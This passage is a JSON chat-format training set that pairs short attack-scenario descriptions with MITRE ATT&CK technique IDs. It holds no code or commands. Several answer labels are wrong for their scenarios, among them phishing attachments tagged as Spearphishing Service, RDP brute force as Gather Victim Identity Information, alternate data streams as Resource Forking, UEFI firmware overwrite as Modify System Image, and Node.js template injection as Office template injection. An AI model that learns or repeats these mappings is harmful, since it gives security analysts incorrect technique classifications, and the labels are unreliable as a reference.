                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account is used to place a cron job in /var/spool/cron that runs a PowerShell script via WSL on a Linux machine."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden directory named \".config\" in the user's home folder to store malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries wipe Wi‑Fi connection records and clear router configuration logs to prevent detection of lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilized a stolen access token to assign themselves the \"Compute Admin\" role on a cloud platform, enabling unrestricted VM management."
            },
            {
                "role": "assistant",
                "content": "T1098.003 - Account Manipulation: Additional Cloud Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor edits the system's code signing settings to whitelist a malicious DLL, allowing it to load without verification."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a VPN tunnel to encapsulate and encrypt their command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that overwrites the entire hard drive with random data to erase all files."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates data by first uploading it to a compromised remote SSH server."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document triggers an endless loop of clipboard operations on the victim's PC, eventually crashing the user interface and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script queries the OS for a list of attached storage devices and other peripherals."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phisher publishes a fake Zoom login portal, collecting credentials that grant access to the organization’s cloud meetings and recordings."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain drops a JavaScript file which is then executed by the Windows Script Host, allowing the attacker to enumerate user directories."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion utilizes keylogging to capture usernames and passwords typed by the victim."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exploited a privilege escalation bug in the container runtime, allowing it to escape the container and interact directly with the host file system."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a compromised service account to extract service credentials from configuration files."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious attachment containing a credential‑stealing script was opened, capturing the target’s email credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals explore open technical databases such as Exploit-DB and CVE Details to compile a list of exploitable assets."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group extracts the KRBTGT secret and forges a Kerberos ticket, allowing them to move laterally and exfiltrate data under any user context."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware runs a Python script on the victim machine to enumerate user directories and compress files for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a command to list all Wi‑Fi interfaces and their current connection status on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits publicly exposed CDN management dashboards to extract domain mappings and infer the target's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a spoofed caller ID to impersonate a senior executive, asking the target to transfer funds over the phone after confirming personal details."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group leverages Google dorking techniques to locate publicly accessible configuration files on misconfigured web servers."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed banner grabbing on discovered hosts to determine the versions of Apache and MySQL services."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit technique involves creating a transacted file, rolling it back, and then launching a process that contains malicious code, known as Process Doppelgänging."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain persistent access by appending additional role entries to the etcd-backed RBAC store."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden Node.js script was added to a Firebase Cloud Function, allowing the attacker to execute arbitrary commands in the cloud project’s context."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged the OneDrive API to upload stolen files from the victim's workstation to a compromised Microsoft 365 account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary initiates a phone call pretending to be a delivery service, requesting the recipient's address and contact information for a fake delivery confirmation."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses WriteProcessMemory to place shellcode into the TLS area of a target process and then changes the thread context to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation activities involve creating a new domain account and assigning it to the Domain Admins group."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider introduced rogue DNS entries into the internal DNS server, causing traffic to be routed through a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs a custom utility to purge all Mac OS X system logs, including /private/var/log/system.log."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulates the file system permissions of a Windows service binary, installs a malicious version, and triggers the service to load the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan copies the victim’s browser cookies to a staging area."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators send tailored emails with weaponized Office documents that execute PowerShell code to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using valid domain accounts, the threat actor logged into the network without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a local staging folder on the victim machine to accumulate data before uploading it."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses procfs to locate the memory of the sshd process and extracts private key material from its address space."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ domain fronting to bypass network filtering by disguising malicious payload delivery as legitimate HTTPS traffic to allowed hosts."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses Mimikatz to extract credentials and then uses those to access other systems."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a remote desktop protocol (RDP) brute‑force attack to obtain valid user credentials."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs credential dumping on a compromised endpoint, extracts domain admin credentials, and logs into the Active Directory console."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a malicious DLL into the trust provider chain, the attacker ensures that all subsequent code signatures are validated against the attacker's key."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects malicious code into LSASS on a domain controller to alter user authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a PowerShell script to repeatedly allocate large memory blocks without releasing them, leading to out-of-memory conditions on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses alternate data streams to hide additional payloads within legitimate files."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a fake executable with the same name as a trusted binary in a location that is higher in the search order, the threat actor hijacks execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion removes persistent network share connections to obscure the channels used for command and control."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a cloud provider's deprecated region to launch a distributed denial‑of‑service test against the victim’s services, taking advantage of the lack of monitoring in that region."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables the TPM chip on compromised workstations, preventing hardware-backed key protection and weakening encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script sets the 'Start' value of a service to 4 in HKLM\\System\\CurrentControlSet\\Services\\[service name] to disable the service."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use task scheduler to run a batch file that zips and uploads files to a remote FTP site every day."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Oracle Cloud Infrastructure API to create a new compute instance for malicious activities."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies a shared Microsoft Word document on a network share to include malicious macros that execute when any user opens the file."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a TLS‑encrypted remote desktop protocol (RDP) session for persistence."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a man-in-the-middle proxy to capture OTP codes sent via SMS and approved the authentication request on the victim's device."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker overwrites the UEFI firmware image with a malicious payload to maintain control across OS reinstallations."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a ZIP archive that contains a hidden ELF binary, concealed within an innocuous text file."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor searches public PKI databases for digital certificates associated with victim organizations."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor fetches a JavaScript payload from an attacker‑controlled domain and runs it through the host's Node.js runtime."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor searches for credential files such as id_rsa, ssh_config, and known_hosts to obtain private keys and saved SSH credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilizes DNS SRV record lookups to discover the host and port of a remote service used for data staging."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload exploits insecure template handling in a Node.js application using Handlebars, leading to arbitrary command execution."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs brute-force scanning of CDN edge nodes to discover misconfigured caching rules that expose sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses privileged access to read /proc/kcore, dumping kernel memory in order to locate credential information."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers leveraged a botnet of compromised point‑of‑sale systems to mine cryptocurrency."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries steal SSH private keys from compromised servers to authenticate to other systems without detection."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor changes the default handler for .pdf files in the Windows registry to point to a malicious DLL, causing execution whenever a PDF is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised SSH session, the adversary sends a base64-encoded payload that decodes and runs via cmd.exe, indirectly launching the command."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs bulk lookups in DNS archival services to extract past resolution information for compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote module harvested local user credentials by dumping the /etc/passwd and /etc/shadow files on the target Linux system."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker bypasses multi-factor authentication mechanisms by exploiting vulnerabilities in software or hardware tokens, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs internal network scanning to identify subnets, routers, and switches, building a map of the victim's network topology."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script checks for the existence of common virtualization registry entries like HKLM\\SYSTEM\\CurrentControlSet\\Enum\\VirtualBox."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
